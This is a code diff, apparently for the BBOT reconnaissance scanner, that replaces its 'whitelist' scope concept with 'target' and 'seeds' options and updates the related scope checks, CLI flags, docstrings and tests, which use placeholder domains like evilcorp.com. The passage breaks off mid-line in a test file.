self.get_dns_parent(event) original_tags = set(event.tags) # minimal resolution - first, we resolve A/AAAA records for scope purposes if new_event or event is main_host_event: await self.resolve_event(main_host_event, types=minimal_rdtypes) - # are any of its IPs whitelisted/blacklisted? - whitelisted, blacklisted = self.check_scope(main_host_event) - if whitelisted and event.scope_distance > 0: + # are any of its IPs in target scope or blacklisted? + in_target, blacklisted = self.check_scope(main_host_event) + if in_target and main_host_event.scope_distance > 0: self.debug(f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)") main_host_event.scope_distance = 0 @@ -99,9 +99,11 @@ async def handle_event(self, event, **kwargs): ) # if there weren't any DNS children and it's not an IP address, tag as unresolved + # Exception: don't convert seed events to DNS_NAME_UNRESOLVED so accept_seeds modules can process them if not main_host_event.raw_dns_records and not event_is_ip: - main_host_event.add_tag("unresolved") - main_host_event.type = "DNS_NAME_UNRESOLVED" + if "seed" not in main_host_event.tags: + main_host_event.add_tag("unresolved") + main_host_event.type = "DNS_NAME_UNRESOLVED" # main_host_event.add_tag(f"resolve-distance-{main_host_event.dns_resolve_distance}") @@ -150,7 +152,7 @@ async def handle_wildcard_event(self, event): event.add_tag(f"{rdtype}-{wildcard_tag}") # wildcard event modification (www.evilcorp.com --> _wildcard.evilcorp.com) - if wildcard_rdtypes and "target" not in event.tags: + if wildcard_rdtypes and "seed" not in event.tags: # these are the rdtypes that have wildcards wildcard_rdtypes_set = set(wildcard_rdtypes) # consider the event a full wildcard if all its records are wildcards @@ -219,7 +221,7 @@ async def emit_dns_children_raw(self, event, dns_tags): ) def check_scope(self, event): - whitelisted = False + in_target = False blacklisted = False dns_children = getattr(event, "dns_children", {}) for rdtype in ("A", "AAAA", "CNAME"): @@ -229,11 +231,11 @@ def check_scope(self, event): for host in hosts: # having a CNAME to an in-scope host doesn't make you in-scope if rdtype != "CNAME": - if not whitelisted: + if not in_target: with suppress(ValidationError): - if self.scan.whitelisted(host): - whitelisted = True - event.add_tag(f"dns-whitelisted-{rdtype}") + if self.scan.in_target(host): + in_target = True + event.add_tag(f"dns-in-target-{rdtype}") # but a CNAME to a blacklisted host means you're blacklisted if not blacklisted: with suppress(ValidationError): @@ -242,8 +244,8 @@ def check_scope(self, event): event.add_tag("blacklisted") event.add_tag(f"dns-blacklisted-{rdtype}") if blacklisted: - whitelisted = False - return whitelisted, blacklisted + in_target = False + return in_target, blacklisted async def resolve_event(self, event, types): if not types: @@ -291,12 +293,12 @@ def get_dns_parent(self, event): for parent in event.get_parents(include_self=True): if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"): blacklisted = any(t.startswith("dns-blacklisted-") for t in parent.tags) - whitelisted = any(t.startswith("dns-whitelisted-") for t in parent.tags) + in_target = any(t.startswith("dns-in-target-") for t in parent.tags) new_event = parent is event - return parent, whitelisted, blacklisted, new_event + return parent, in_target, blacklisted, new_event tags = set() - if "target" in event.tags: - tags.add("target") + if "seed" in event.tags: + tags.add("seed") return ( self.scan.make_event( event.host, diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index dba3b52579..922cbc0558 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -26,7 +26,7 @@ async def setup(self): return True async def filter_event(self, event): - if event.module == self or any(t in event.tags for t in ("target", "domain", "ms-auth-url")): + if event.module == self or any(t in event.tags for t in ("seed", "domain", "ms-auth-url")): return True elif self.try_all and event.scope_distance == 0: return True diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index 71956c25ab..174b041d2f 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -40,8 +40,8 @@ def _event_precheck(self, event): # omit certain event types if event._omit: - if "target" in event.tags: - reason = "it's a target" + if "seed" in event.tags: + reason = "it's a seed" self.debug(f"Allowing omitted event: {event} because {reason}") elif event.type in self.get_watched_events(): reason = "its type is explicitly in watched_events" diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index a65d08f315..49ae38b14c 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -168,8 +168,8 @@ async def filter_event(self, event): is_cloud = False if any(t.startswith("cloud-") for t in event.tags): is_cloud = True - # reject if it's a cloud resource and not in our target - if is_cloud and event not in self.scan.target.whitelist: + # reject if it's a cloud resource and not in our target (unless it's a seed event) + if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags: return False, "Event is a cloud resource and not a direct target" # optionally reject events with wildcards / errors if self.reject_wildcards: diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 47d91c545e..08b91e274e 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -49,7 +49,7 @@ async def init_events(self, event_seeds=None): # queue root scan event await self.queue_event(root_event, {}) target_module = self.scan._make_dummy_module(name="TARGET", _type="TARGET") - # queue each target in turn + # queue each seed in turn for event_seed in event_seeds: event = self.scan.make_event( event_seed.data, @@ -57,9 +57,12 @@ async def init_events(self, event_seeds=None): parent=root_event, module=target_module, context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.data}", - tags=["target"], + tags=["seed"], ) - self.verbose(f"Target: {event}") + # If the seed is also in the target scope, add the target tag + if self.scan.in_target(event): + event.add_tag("target") + self.verbose(f"Seed: {event}") # don't fill up the queue with too many events while self.incoming_event_queue.qsize() > 100: await asyncio.sleep(0.2) @@ -114,9 +117,19 @@ async def handle_event(self, event, **kwargs): # Scope shepherding # here is where we make sure in-scope events are set to their proper scope distance if event.host: - event_whitelisted = self.scan.whitelisted(event) - if event_whitelisted: - self.debug(f"Making {event} in-scope because its main host matches the scan target") + event_in_target = self.scan.in_target(event) + # Also check resolved IPs for DNS name events + if not event_in_target and hasattr(event, "resolved_hosts") and event.resolved_hosts: + for resolved_ip in event.resolved_hosts: + if self.scan.in_target(resolved_ip): + event_in_target = True + self.debug( + f"Making {event} in-scope because its resolved IP {resolved_ip} matches the scan target" + ) + break + if event_in_target: + if not (hasattr(event, "resolved_hosts") and event.resolved_hosts): + self.debug(f"Making {event} in-scope because its main host matches the scan target") event.scope_distance = 0 # nerf event's priority if it's not in scope @@ -190,8 +203,8 @@ async def handle_event(self, event, **kwargs): # omit certain event types if event.type in self.scan.omitted_event_types: - if "target" in event.tags: - self.debug(f"Allowing omitted event: {event} because it's a target") + if "seed" in event.tags: + self.debug(f"Allowing omitted event: {event} because it's a seed") else: event._omit = True diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 137cd26d43..aa830c926d 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -105,9 +105,12 @@ def parsed(self): def preset_from_args(self): # the order here is important # first we make the preset + # -t/--targets becomes target_list (defines target, what in_target() checks) + # -s/--seeds becomes seeds (drives passive modules), defaults to targets if not specified + seeds = self.parsed.seeds if self.parsed.seeds is not None else self.parsed.targets args_preset = self.preset.__class__( - *self.parsed.targets, - whitelist=self.parsed.whitelist, + target_list=self.parsed.targets if self.parsed.targets else None, + seeds=seeds if seeds else None, blacklist=self.parsed.blacklist, name="args_preset", ) @@ -225,21 +228,19 @@ def create_parser(self, *args, **kwargs): p = argparse.ArgumentParser(*args, **kwargs) target = p.add_argument_group(title="Target") + target.add_argument("-t", "--targets", nargs="+", default=[], help="Target scope", metavar="TARGET") target.add_argument( - "-t", "--targets", nargs="+", default=[], help="Targets to seed the scan", metavar="TARGET" - ) - target.add_argument( - "-w", - "--whitelist", + "-s", + "--seeds", nargs="+", default=None, - help="What's considered in-scope (by default it's the same as --targets)", + help="Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets)", ) target.add_argument("-b", "--blacklist", nargs="+", default=[], help="Don't touch these things") target.add_argument( "--strict-scope", action="store_true", - help="Don't consider subdomains of target/whitelist to be in-scope - exact matches only", + help="Don't consider subdomains of target to be in-scope - exact matches only", ) presets = p.add_argument_group(title="Presets") presets.add_argument( @@ -307,7 +308,7 @@ def create_parser(self, *args, **kwargs): scan.add_argument("-n", "--name", help="Name of scan (default: random)", metavar="SCAN_NAME") scan.add_argument("-v", "--verbose", action="store_true", help="Be more verbose") scan.add_argument("-d", "--debug", action="store_true", help="Enable debugging") - scan.add_argument("-s", "--silent", action="store_true", help="Be quiet") + scan.add_argument("-S", "--silent", action="store_true", help="Be quiet") scan.add_argument( "--force", action="store_true", @@ -411,9 +412,9 @@ def sanitize_args(self): self.parsed.targets = chain_lists( self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}" ) - if self.parsed.whitelist is not None: - self.parsed.whitelist = chain_lists( - self.parsed.whitelist, try_files=True, msg="Reading whitelist from file: {filename}" + if self.parsed.seeds is not None: + self.parsed.seeds = chain_lists( + self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}" ) self.parsed.blacklist = chain_lists( self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}" diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 623dbcec95..c2987da37c 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -76,8 +76,8 @@ class Preset(metaclass=BasePreset): Based on the state of the preset, you can print a warning message, abort the scan, enable/disable modules, etc.. Attributes: - target (Target): Target(s) of scan. - whitelist (Target): Scan whitelist (by default this is the same as `target`). + target (BBOTTarget): The scan target object containing seeds, target, and blacklist. + Use `target.target` to access what's in the target (what `in_target()` checks). blacklist (Target): Scan blacklist (this takes ultimate precedence). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. output_dir (pathlib.Path): Output directory for scan. @@ -116,7 +116,8 @@ class Preset(metaclass=BasePreset): def __init__( self, *target, - whitelist=None, + target_list=None, + seeds=None, blacklist=None, modules=None, output_modules=None, @@ -142,8 +143,14 @@ def __init__( Initializes the Preset class. Args: - *target (str): Target(s) to scan. Types supported: hostnames, IPs, CIDRs, emails, open ports. - whitelist (list, optional): Whitelisted target(s) to scan. Defaults to the same as `targets`. + *target (str): Target(s) to scan. These ALWAYS become the target (what `in_target()` checks). + Types supported: hostnames, IPs, CIDRs, emails, open ports. + Note: Positional arguments always mean target, never seeds. + target_list (list, optional): Explicitly define what's in the target (what `in_target()` checks). + If specified, this takes precedence over positional *target arguments. + Note: This defines the target, NOT scope. Use `in_scope()` to check target AND blacklist. + seeds (list, optional): Explicitly define seeds (initial events for passive modules). + If not specified, seeds will be backfilled from target when target is defined. blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty. modules (list[str], optional): List of scan modules to enable for the scan. Defaults to empty list. output_modules (list[str], optional): List of output modules to use. Defaults to csv, human, and json. @@ -260,10 +267,26 @@ def __init__( self._module_dirs = set() self.module_dirs = module_dirs - # target / whitelist / blacklist + # target / seeds / blacklist # these are temporary receptacles until they all get .baked() together - self._seeds = set(target if target else []) - self._whitelist = set(whitelist) if whitelist else whitelist + # Positional arguments ALWAYS become target (never seeds) + # Seeds must be explicitly provided via seeds parameter + if target_list is not None: + # Explicit target_list takes precedence over positional args + self._target_list = set(target_list) + elif target: + # Positional args become target + self._target_list = set(target) + else: + # No positional args and no explicit target_list + self._target_list = None + + # Handle seeds - must be explicitly provided + if seeds is not None: + self._seeds = set(seeds) if seeds else set() + else: + # Seeds not explicitly provided - will be backfilled in BBOTTarget if target is set + self._seeds = set() self._blacklist = set(blacklist if blacklist else []) self._target = None @@ -292,12 +315,6 @@ def seeds(self): raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self.target.seeds - @property - def whitelist(self): - if self._target is None: - raise ValueError("Cannot access whitelist before preset is baked (use ._whitelist instead)") - return self.target.whitelist - @property def blacklist(self): if self._target is None: @@ -365,12 +382,11 @@ def merge(self, other): # target / scope self._seeds.update(other._seeds) - # leave whitelist as None until we encounter one - if other._whitelist is not None: - if self._whitelist is None: - self._whitelist = set(other._whitelist) + if other._target_list is not None: + if self._target_list is None: + self._target_list = set(other._target_list) else: - self._whitelist.update(other._whitelist) + self._target_list.update(other._target_list) self._blacklist.update(other._blacklist) # module dirs @@ -486,7 +502,7 @@ def bake(self, scan=None): baked_preset._target = BBOTTarget( *list(self._seeds), - whitelist=self._whitelist, + target=list(self._target_list) if self._target_list else None, blacklist=self._blacklist, strict_dns_scope=self.strict_scope, ) @@ -637,8 +653,8 @@ def in_scope(self, host): def blacklisted(self, host): return self.target.blacklisted(host) - def whitelisted(self, host): - return self.target.whitelisted(host) + def in_target(self, host): + return self.target.in_target(host) @classmethod def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): @@ -657,12 +673,15 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ - # tolerate both "target" and "targets", since this is a common oopsie - targets = preset_dict.get("target", []) - targets += preset_dict.get("targets", []) + # Handle seeds and target_list from dict + # "target" key in dict represents target_list (what in_target() checks) + # "seeds" key in dict represents seeds (if present) + # "targets" key is legacy and treated as target_list + target_list = preset_dict.get("target") or preset_dict.get("targets") + seeds = preset_dict.get("seeds") new_preset = cls( - *targets, - whitelist=preset_dict.get("whitelist"), + *(seeds if seeds else []), + target_list=target_list, blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), output_modules=preset_dict.get("output_modules"), @@ -762,7 +781,7 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) Convert this preset into a Python dictionary. Args: - include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary + include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults. Returns: @@ -791,15 +810,15 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) # scope if include_target: - target = sorted(self.target.seeds.inputs) - whitelist = [] - if self.target.whitelist is not None: - whitelist = sorted(self.target.whitelist.inputs) + seeds = sorted(self.target.seeds.inputs) + target_list = [] + if self.target.target is not None: + target_list = sorted(self.target.target.inputs) blacklist = sorted(self.target.blacklist.inputs) - if target: - preset_dict["target"] = target - if whitelist and whitelist != target: - preset_dict["whitelist"] = whitelist + if seeds: + preset_dict["seeds"] = seeds + if target_list and target_list != seeds: + preset_dict["target"] = target_list if blacklist: preset_dict["blacklist"] = blacklist @@ -842,7 +861,7 @@ def to_yaml(self, include_target=False, full_config=False, sort_keys=False): Return the preset in the form of a YAML string. Args: - include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary + include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults. sort_keys (bool, optional): If True, sort YAML keys alphabetically diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index df65f8664e..cfa239ed81 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -76,7 +76,7 @@ class Scanner: target (Target): Target of scan (alias to `self.preset.target`). preset (Preset): The main scan Preset in its baked form. config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `self.preset.config`). - whitelist (Target): Scan whitelist (by default this is the same as `target`) (alias to `self.preset.whitelist`). + seeds (Target): Scan seeds (by default this is the same as `target`) (alias to `self.preset.seeds`). blacklist (Target): Scan blacklist (this takes ultimate precedence) (alias to `self.preset.blacklist`). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. (alias to `self.preset.helpers`). output_dir (pathlib.Path): Output directory for scan (alias to `self.preset.output_dir`). @@ -283,10 +283,10 @@ async def _prep(self): f.write(self.preset.to_yaml()) # log scan overview - start_msg = f"Scan seeded with {len(self.seeds):,} targets" + start_msg = f"Scan seeded with {len(self.seeds):,} seed(s)" details = [] - if self.whitelist != self.target: - details.append(f"{len(self.whitelist):,} in whitelist") + if self.target.target: + details.append(f"{len(self.target.target):,} in target") if self.blacklist: details.append(f"{len(self.blacklist):,} in blacklist") if details: @@ -910,8 +910,8 @@ async def _cleanup(self): def in_scope(self, *args, **kwargs): return self.preset.in_scope(*args, **kwargs) - def whitelisted(self, *args, **kwargs): - return self.preset.whitelisted(*args, **kwargs) + def in_target(self, *args, **kwargs): + return self.preset.in_target(*args, **kwargs) def blacklisted(self, *args, **kwargs): return self.preset.blacklisted(*args, **kwargs) @@ -932,10 +932,6 @@ def target(self): def seeds(self): return self.preset.seeds - @property - def whitelist(self): - return self.preset.whitelist - @property def blacklist(self): return self.preset.blacklist @@ -1053,13 +1049,13 @@ def dns_strings(self): A list of DNS hostname strings generated from the scan target """ if self._dns_strings is None: - dns_whitelist = {t.host for t in self.whitelist if t.host and isinstance(t.host, str)} - dns_whitelist = sorted(dns_whitelist, key=len) - dns_whitelist_set = set() + dns_target = {t.host for t in self.target.target if t.host and isinstance(t.host, str)} + dns_target = sorted(dns_target, key=len) + dns_target_set = set() dns_strings = [] - for t in dns_whitelist: - if not any(x in dns_whitelist_set for x in self.helpers.domain_parents(t, include_self=True)): - dns_whitelist_set.add(t) + for t in dns_target: + if not any(x in dns_target_set for x in self.helpers.domain_parents(t, include_self=True)): + dns_target_set.add(t) dns_strings.append(t) self._dns_strings = dns_strings return self._dns_strings @@ -1158,7 +1154,7 @@ async def extract_in_scope_hostnames(self, s): @property def json(self): """ - A dictionary representation of the scan including its name, ID, targets, whitelist, blacklist, and modules + A dictionary representation of the scan including its name, ID, targets, target, blacklist, and modules """ j = {} for i in ("id", "name"): diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index f0aa1315c3..dd62042e8b 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -20,7 +20,7 @@ class BaseTarget(RadixTarget): while allowing lightning fast scope lookups. This class is inherited by all three components of the BBOT target: - - Whitelist + - Target - Blacklist - Seeds """ @@ -140,9 +140,9 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) -class ScanWhitelist(ACLTarget): +class ScanTarget(ACLTarget): """ - A collection of BBOT events that represent a scan's whitelist. + A collection of BBOT events that represent a scan's targets. """ pass @@ -210,19 +210,28 @@ class BBOTTarget: """ A convenient abstraction of a scan target that contains three subtargets: - seeds - - whitelist + - target - blacklist - Provides high-level functions like in_scope(), which includes both whitelist and blacklist checks. + Provides high-level functions like in_scope(), which includes both target and blacklist checks. """ - def __init__(self, *seeds, whitelist=None, blacklist=None, strict_dns_scope=False): + def __init__(self, *seeds, target=None, blacklist=None, strict_dns_scope=False): self.strict_dns_scope = strict_dns_scope + self._orig_target = target + self._orig_seeds = seeds if seeds else None + + if target is None: + target = [] + self.target = ScanTarget(*target, strict_dns_scope=strict_dns_scope) + + # Seeds are only copied from target if target is defined but seeds are NOT defined + # Use target.inputs (original inputs) to preserve all inputs, including subdomains + if not seeds and target: + seeds = list(self.target.inputs) + self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_dns_scope) - self._orig_whitelist = whitelist - if whitelist is None: - whitelist = self.seeds.hosts - self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_dns_scope) + if blacklist is None: blacklist = [] self.blacklist = ScanBlacklist(*blacklist) @@ -231,12 +240,12 @@ def __init__(self, *seeds, whitelist=None, blacklist=None, strict_dns_scope=Fals def json(self): return { "seeds": sorted(self.seeds.inputs), - "whitelist": (None if not self._orig_whitelist else sorted(self.whitelist.inputs)), + "target": (None if not self._orig_target else sorted(self.target.inputs)), "blacklist": sorted(self.blacklist.inputs), "strict_dns_scope": self.strict_dns_scope, "hash": self.hash.hex(), "seed_hash": self.seeds.hash.hex(), - "whitelist_hash": self.whitelist.hash.hex(), + "target_hash": self.target.hash.hex(), "blacklist_hash": self.blacklist.hash.hex(), "scope_hash": self.scope_hash.hex(), } @@ -244,15 +253,14 @@ def json(self): @property def hash(self): sha1_hash = sha1() - for target_hash in [t.hash for t in (self.seeds, self.whitelist, self.blacklist)]: + for target_hash in [t.hash for t in (self.seeds, self.target, self.blacklist)]: sha1_hash.update(target_hash) return sha1_hash.digest() @property def scope_hash(self): sha1_hash = sha1() - # Consider only the hash values of the whitelist and blacklist - for target_hash in [t.hash for t in (self.whitelist, self.blacklist)]: + for target_hash in [t.hash for t in (self.target, self.blacklist)]: sha1_hash.update(target_hash) return sha1_hash.digest() @@ -261,8 +269,12 @@ def in_scope(self, host): Check whether a hostname, url, IP, etc. is in scope. Accepts either events or string data. - Checks whitelist and blacklist. - If `host` is an event and its scope distance is zero, it will automatically be considered in-scope. + This method checks both target AND blacklist. + A host is in-scope if it is in the target AND not blacklisted. + + Note: This is different from `in_target()` which only checks the target. + - `in_target()`: checks if host is in the target + - `in_scope()`: checks if host is in the target AND not blacklisted Examples: Check if a URL is in scope: @@ -270,8 +282,8 @@ def in_scope(self, host): True """ blacklisted = self.blacklisted(host) - whitelisted = self.whitelisted(host) - return whitelisted and not blacklisted + in_target = self.in_target(host) + return in_target and not blacklisted def blacklisted(self, host): """ @@ -289,21 +301,24 @@ def blacklisted(self, host): """ return host in self.blacklist - def whitelisted(self, host): + def in_target(self, host): """ - Check whether a hostname, url, IP, etc. is whitelisted. + Check whether a hostname, url, IP, etc. is in the target. + + This method ONLY checks the target, NOT the blacklist. + Use `in_scope()` to check both target AND blacklist. Note that `host` can be a hostname, IP address, CIDR, email address, or any BBOT `Event` with the `host` attribute. Args: - host (str or IPAddress or Event): The host to check against the whitelist + host (str or IPAddress or Event): The host to check against the target Examples: - Check if a URL's host is whitelisted: - >>> preset.whitelisted("http://www.evilcorp.com") + Check if a URL's host is in target: + >>> preset.in_target("http://www.evilcorp.com") True """ - return host in self.whitelist + return host in self.target def __eq__(self, other): return self.hash == other.hash diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index a3dc91524d..21370ad287 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -55,7 +55,13 @@ def clean_default_config(monkeypatch): ) with monkeypatch.context() as m: m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config) - yield + # Also clear CORE's custom_config to ensure Preset.copy() gets a clean core + original_custom_config = CORE._custom_config + CORE._custom_config = OmegaConf.create({}) + try: + yield + finally: + CORE._custom_config = original_custom_config class SubstringRequestMatcher(pytest_httpserver.httpserver.RequestMatcher): diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 5680b624d6..f418cd6de9 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -73,7 +73,7 @@ def test_preset_yaml(clean_default_config): preset1 = Preset( "evilcorp.com", "www.evilcorp.ce", - whitelist=["evilcorp.ce"], + target_list=["evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], modules=["sslcert"], output_modules=["json"], @@ -90,14 +90,14 @@ def test_preset_yaml(clean_default_config): assert "evilcorp.com" in preset1.target.seeds assert "evilcorp.ce" not in preset1.target.seeds assert "asdf.www.evilcorp.ce" in preset1.target.seeds - assert "evilcorp.ce" in preset1.whitelist - assert "asdf.evilcorp.ce" in preset1.whitelist + assert "evilcorp.ce" in preset1.target.target + assert "asdf.evilcorp.ce" in preset1.target.target assert "test.www.evilcorp.ce" in preset1.blacklist assert "asdf.test.www.evilcorp.ce" in preset1.blacklist assert "sslcert" in preset1.scan_modules - assert preset1.whitelisted("evilcorp.ce") - assert preset1.whitelisted("www.evilcorp.ce") - assert not preset1.whitelisted("evilcorp.com") + assert preset1.in_target("evilcorp.ce") + assert preset1.in_target("www.evilcorp.ce") + assert not preset1.in_target("evilcorp.com") assert preset1.blacklisted("test.www.evilcorp.ce") assert preset1.blacklisted("asdf.test.www.evilcorp.ce") assert not preset1.blacklisted("www.evilcorp.ce") @@ -174,29 +174,29 @@ def test_preset_scope(): scan = Scanner("1.2.3.4", preset=Preset.from_dict({"target": ["evilcorp.com"]})) assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"} - assert {e.data for e in scan.target.whitelist} == {"1.2.3.4/32", "evilcorp.com"} + assert {e.data for e in scan.target.target} == {"1.2.3.4/32", "evilcorp.com"} blank_preset = Preset() blank_preset = blank_preset.bake() assert not blank_preset.target.seeds - assert not blank_preset.target.whitelist + assert not blank_preset.target.target assert blank_preset.strict_scope is False preset1 = Preset( "evilcorp.com", "www.evilcorp.ce", - whitelist=["evilcorp.ce"], + target_list=["evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) preset1_baked = preset1.bake() # make sure target logic works as expected assert "evilcorp.com" in preset1_baked.target.seeds - assert "evilcorp.com" not in preset1_baked.target.whitelist + assert "evilcorp.com" not in preset1_baked.target.target assert "asdf.evilcorp.com" in preset1_baked.target.seeds - assert "asdf.evilcorp.com" not in preset1_baked.target.whitelist - assert "asdf.evilcorp.ce" in preset1_baked.whitelist - assert "evilcorp.ce" in preset1_baked.whitelist + assert "asdf.evilcorp.com" not in preset1_baked.target.target + assert "asdf.evilcorp.ce" in preset1_baked.target.target + assert "evilcorp.ce" in preset1_baked.target.target assert "test.www.evilcorp.ce" in preset1_baked.blacklist assert "evilcorp.ce" not in preset1_baked.blacklist assert preset1_baked.in_scope("www.evilcorp.ce") @@ -212,7 +212,7 @@ def test_preset_scope(): # test preset merging preset3 = Preset( "evilcorp.org", - whitelist=["evilcorp.de"], + target_list=["evilcorp.de"], blacklist=["test.www.evilcorp.de"], config={"scope": {"strict": True}}, ) @@ -230,10 +230,10 @@ def test_preset_scope(): assert "asdf.evilcorp.org" not in preset1_baked.target.seeds assert "asdf.evilcorp.com" not in preset1_baked.target.seeds assert "asdf.www.evilcorp.ce" not in preset1_baked.target.seeds - assert "evilcorp.ce" in preset1_baked.whitelist - assert "evilcorp.de" in preset1_baked.whitelist - assert "asdf.evilcorp.de" not in preset1_baked.whitelist - assert "asdf.evilcorp.ce" not in preset1_baked.whitelist + assert "evilcorp.ce" in preset1_baked.target.target + assert "evilcorp.de" in preset1_baked.target.target + assert "asdf.evilcorp.de" not in preset1_baked.target.target + assert "asdf.evilcorp.ce" not in preset1_baked.target.target # blacklist should be merged, strict scope does not apply assert "test.www.evilcorp.ce" in preset1_baked.blacklist assert "test.www.evilcorp.de" in preset1_baked.blacklist @@ -253,125 +253,123 @@ def test_preset_scope(): preset1.merge(preset4) set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout", "neo4j"} - # test preset merging + whitelist + # test preset merging + target_scope - preset_nowhitelist = Preset("evilcorp.com", name="nowhitelist") - preset_whitelist = Preset( + preset_seeds_only = Preset("evilcorp.com", name="seeds_only") + preset_with_target_scope = Preset( "evilcorp.org", - name="whitelist", - whitelist=["1.2.3.4/24", "http://evilcorp.net"], + name="with_target_scope", + target_list=["1.2.3.4/24", "http://evilcorp.net"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, ) - preset_nowhitelist_baked = preset_nowhitelist.bake() - preset_whitelist_baked = preset_whitelist.bake() + preset_seeds_only_baked = preset_seeds_only.bake() + preset_with_target_scope_baked = preset_with_target_scope.bake() - assert preset_nowhitelist_baked.to_dict(include_target=True) == { + assert preset_seeds_only_baked.to_dict(include_target=True) == { "target": ["evilcorp.com"], } - assert preset_whitelist_baked.to_dict(include_target=True) == { - "target": ["evilcorp.org"], - "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"], + assert preset_with_target_scope_baked.to_dict(include_target=True) == { + "target": ["1.2.3.0/24", "http://evilcorp.net/"], "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], "config": {"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, } - assert preset_whitelist_baked.to_dict(include_target=True, redact_secrets=True) == { - "target": ["evilcorp.org"], - "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"], + assert preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True) == { + "target": ["1.2.3.0/24", "http://evilcorp.net/"], "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], "config": {"modules": {"secretsdb": {"otherthing": "asdf"}}}, } - assert preset_nowhitelist_baked.in_scope("www.evilcorp.com") - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.de") - assert not preset_nowhitelist_baked.in_scope("1.2.3.4/24") - - assert "www.evilcorp.org" in preset_whitelist_baked.target.seeds - assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist - assert "1.2.3.4" in preset_whitelist_baked.whitelist - assert not preset_whitelist_baked.in_scope("www.evilcorp.org") - assert not preset_whitelist_baked.in_scope("www.evilcorp.de") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.de") - assert preset_whitelist_baked.in_scope("1.2.3.4") - assert preset_whitelist_baked.in_scope("1.2.3.4/28") - assert preset_whitelist_baked.in_scope("1.2.3.4/24") - assert preset_whitelist_baked.whitelisted("1.2.3.4") - assert preset_whitelist_baked.whitelisted("1.2.3.4/28") - assert preset_whitelist_baked.whitelisted("1.2.3.4/24") - - assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.org"} - assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} - - preset_nowhitelist.merge(preset_whitelist) - preset_nowhitelist_baked = preset_nowhitelist.bake() - assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} - assert "www.evilcorp.org" in preset_nowhitelist_baked.seeds - assert "www.evilcorp.com" in 